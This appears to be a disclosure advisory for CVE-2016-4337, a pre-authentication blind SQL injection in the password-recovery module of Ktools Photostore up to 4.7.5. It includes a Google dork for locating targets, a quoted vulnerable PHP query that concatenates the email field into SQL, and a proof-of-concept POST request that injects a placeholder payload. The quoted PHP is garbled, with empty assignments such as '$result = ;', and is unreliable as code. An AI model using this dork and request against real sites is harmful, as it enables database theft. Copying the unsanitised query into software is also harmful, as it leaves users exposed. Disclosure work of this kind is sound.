Ktools Photostore 4.7.5 - Blind SQL Injection

Title       : Ktools Photostore <= 4.7.5 (Pre-Authentication) Blind SQL Injection

CVE-ID      : CVE-2016-4337

Google Dork: inurl:mgr.login.php

Product     : Photostore

Affected    : Versions prior to 4.7.5

Impact      : Critical

Remote      : Yes

Website link: http://www.ktools.net

Reported    : 02/06/2016

Authors     : Gal Goldshtein and Viktor Minin

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

No authentication (login) is required to exploit this vulnerability.

The Photostore application password recovery module is prone to a blind sql injection attack.

An attacker can exploit this vulnerability to retrieve all the data stored in the application's database.





Vulnerable code is located in the mgr.login.php file:



-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

case 'recover_login': {

                                                mysqli_query( $db, '' . 'SELECT username,password,email,admin_id FROM ' . $dbinfo[pre] . 'admins where email = \'' . $_POST['email'] . '\'' );

                                                $result = ;

                                                mysqli_num_rows( $result );

                                                $returned_rows = ;

                                                mysqli_fetch_array( $result );

                                                $db_admin_user = ;

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=



PoC:

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

POST /photostore/manager/mgr.login.php?pmode=recover_login HTTP/1.1

Host: victim.net

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Referer: http://server/photostore/manager/mgr.login.php?username=demo&password=demo

Cookie: member[umem_id]=58C05864CA6A59DBGHJSKDHGDGS770D5; PHPSESSID=30afayreighgfdgucb0d2b0c6dece3158

Connection: keep-alive

Content-Type: application/x-www-form-urlencoded

Content-Length: 9



email=%27%20[SQL PAYLOAD];#

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=